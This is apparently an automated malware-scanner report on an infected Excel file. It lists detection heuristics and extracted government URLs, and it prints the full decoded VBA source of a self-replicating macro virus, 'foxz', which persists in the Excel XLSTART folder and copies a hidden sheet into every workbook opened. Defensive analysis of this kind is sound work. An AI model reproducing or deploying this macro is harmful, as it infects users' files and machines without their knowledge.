MALICIOUS
110
Risk Score
Heuristics 5
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCEThe macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.Matched line in script
ChDir Application.StartupPath -
VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADERThe macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.Matched line in script
Application.OnSheetActivate = "check_files" -
Auto_Open macro low OLE_VBA_AUTOAuto_Open macroMatched line in script
Sub auto_open() -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://vbpl.vn/danang In document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-toanvan.aspx?ItemID=152371&Keyword=%C4%90%E1%BB%8Bnh%20m%E1%BB%A9c%2012/2021In document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-toanvan.aspx?ItemID=140374&Keyword=%C4%90%E1%BB%8Bnh%20m%E1%BB%A9c%2010/2019In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=36&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=87&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=33&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=32&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=2620&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=654&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=641&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=615&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=2880&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=2889&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=2602&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=2601&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=2567&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=2471&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=2533&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=460&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=494&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=2591&TypeVB=1In document text (OLE body)
- https://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=677&TypeVB=0In document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-toanvan.aspx?ItemID=152328&Keyword=Th%C3%B4ng%20t%C6%B0%2006%20BXDIn document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-toanvan.aspx?ItemID=152364&Keyword=Th%C3%B4ng%20t%C6%B0%2011/2021%20BXD0In document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-toanvan.aspx?ItemID=152371&Keyword=Th%C3%B4ng%20t%C6%B0%2012/2021%20BXDIn document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-toanvan.aspx?ItemID=152380&Keyword=Th%C3%B4ng%20t%C6%B0%2013/2021%20BXDIn document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-toanvan.aspx?ItemID=138880&Keyword=Th%C3%B4ng%20t%C6%B0%2007/2019%20BXDIn document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-toanvan.aspx?ItemID=140314&Keyword=Th%C3%B4ng%20t%C6%B0%2009/2019%20BXDIn document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-toanvan.aspx?ItemID=140320&Keyword=Th%C3%B4ng%20t%C6%B0%2011/2019%20BXDIn document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-toanvan.aspx?ItemID=140302&Keyword=Th%C3%B4ng%20t%C6%B0%2015/2019%20BXDIn document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-toanvan.aspx?ItemID=140303&Keyword=Th%C3%B4ng%20t%C6%B0%2016/2019%20BXDIn document text (OLE body)
- http://moc.gov.vn/vn/Pages/ChiTietVanBan.aspx?vID=541&TypeVB=1In document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-toanvan.aspx?ItemID=120711&Keyword=Th%C3%B4ng%20t%C6%B0%2001/2017/TT-BXDIn document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-toanvan.aspx?ItemID=111830&Keyword=Th%C3%B4ng%20t%C6%B0%2005/2016/TT-BXDIn document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-toanvan.aspx?ItemID=111957&Keyword=Th%C3%B4ng%20t%C6%B0%2006/2016/TT-BXDIn document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-toanvan.aspx?ItemID=111052&Keyword=Th%C3%B4ng%20t%C6%B0%2007/2016/TT-BXDIn document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-toanvan.aspx?ItemID=27050&Keyword=Th%C3%B4ng%20t%C6%B0%2004/2010/TT-BXDIn document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-toanvan.aspx?ItemID=31696&Keyword=Th%C3%B4ng%20t%C6%B0%2006/2010/TT-BXDIn document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-van-ban-goc.aspx?ItemID=142703&Keyword=Th%C3%B4ng%20t%C6%B0%2010/2020/TT-BTCIn document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-van-ban-goc.aspx?ItemID=110950&Keyword=Th%C3%B4ng%20t%C6%B0%2008/2016/TT-BTCIn document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-van-ban-goc.aspx?ItemID=119128&Keyword=Th%C3%B4ng%20t%C6%B0%20195/2016/TT-BTCIn document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-van-ban-goc.aspx?ItemID=119141&Keyword=Th%C3%B4ng%20t%C6%B0%20209/2016/TT-BTCIn document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-van-ban-goc.aspx?ItemID=119143&Keyword=Th%C3%B4ng%20t%C6%B0%20210/2016/TT-BTCIn document text (OLE body)
- https://vbpl.vn/TW/Pages/vbpq-toanvan.aspx?ItemID=118915&Keyword=Th%C3%B4ng%20t%C6%B0%20329/2016/TT-BTCIn document text (OLE body)
- https://www.petrolimex.com.vn/ndi/thong-cao-bao-chi.htmlIn document text (OLE body)
- https://www.evn.com.vn/d/vi-VN/news-pdf/Quyet-dinh-so-1279QD-BCT-ngay-0952025-cua-Bo-Cong-Thuong-quy-dinh-ve-gia-ban-dien--60-28-502665In document text (OLE body)
- https://mic.gov.vn/Pages/vanban/chitietvanban.aspx?IDVB=13839In document text (OLE body)
- http://vanban.chinhphu.vn/portal/page/portal/chinhphu/hethongvanban?class_id=1&_page=1&mode=detail&document_id=202663In document text (OLE body)
- http://vanban.chinhphu.vn/portal/page/portal/chinhphu/hethongvanban?class_id=1&_page=1&mode=detail&document_id=198941In document text (OLE body)
- http://vanban.chinhphu.vn/portal/page/portal/chinhphu/hethongvanban?class_id=1&_page=1&mode=detail&document_id=197619In document text (OLE body)
+4 more URL(s)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1957 bytes |
SHA-256: 22157ea344414107b300306e4a3cab51703b948fa3ba5574061c34d499e1c72a |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "foxz"
'donwload NEG!!! NoMercyExcelGenerator form NoMercyPage!
'foxz@usa.net
Sub auto_open()
Attribute auto_open.VB_Description = "\n\n \n\n\n�\n"
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
Attribute check_files.VB_Description = "\n\n \n\n\n�\n"
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "NEGS.XLS")
If m$ = "NEGS.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
Select Case whichfile
Case 10
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
Sheets("foxz").Visible = True
Sheets("foxz").Select
Sheets("foxz").Copy
With ActiveWorkbook
.Title = ""
.Subject = ""
.Author = ""
.Keywords = ""
.Comments = "infected by NEG Promo!"
End With
newname$ = ActiveWorkbook.Name
c4$ = CurDir()
ChDir Application.StartupPath
ActiveWindow.Visible = False
Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "NEGS.XLS", FileFormat:=xlNormal _
, Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
False, CreateBackup:=False
ChDir c4$
Workbooks(n4$).Sheets("foxz").Visible = False
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "NEGS.XLS!check_files"
Case 1
Application.ScreenUpdating = False
n4$ = ActiveWorkbook.Name
p4$ = ActiveWorkbook.Path
s$ = Workbooks(n4$).Sheets(1).Name
If s$ <> "foxz" Then
Workbooks("NEGS.XLS").Sheets("foxz").Copy before:=Workbooks(n4$).Sheets(1)
Workbooks(n4$).Sheets("foxz").Visible = False
Else
End If
Application.OnSheetActivate = ""
Application.ScreenUpdating = True
Application.OnSheetActivate = "NEGS.XLS!check_files"
Case Else
End Select
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.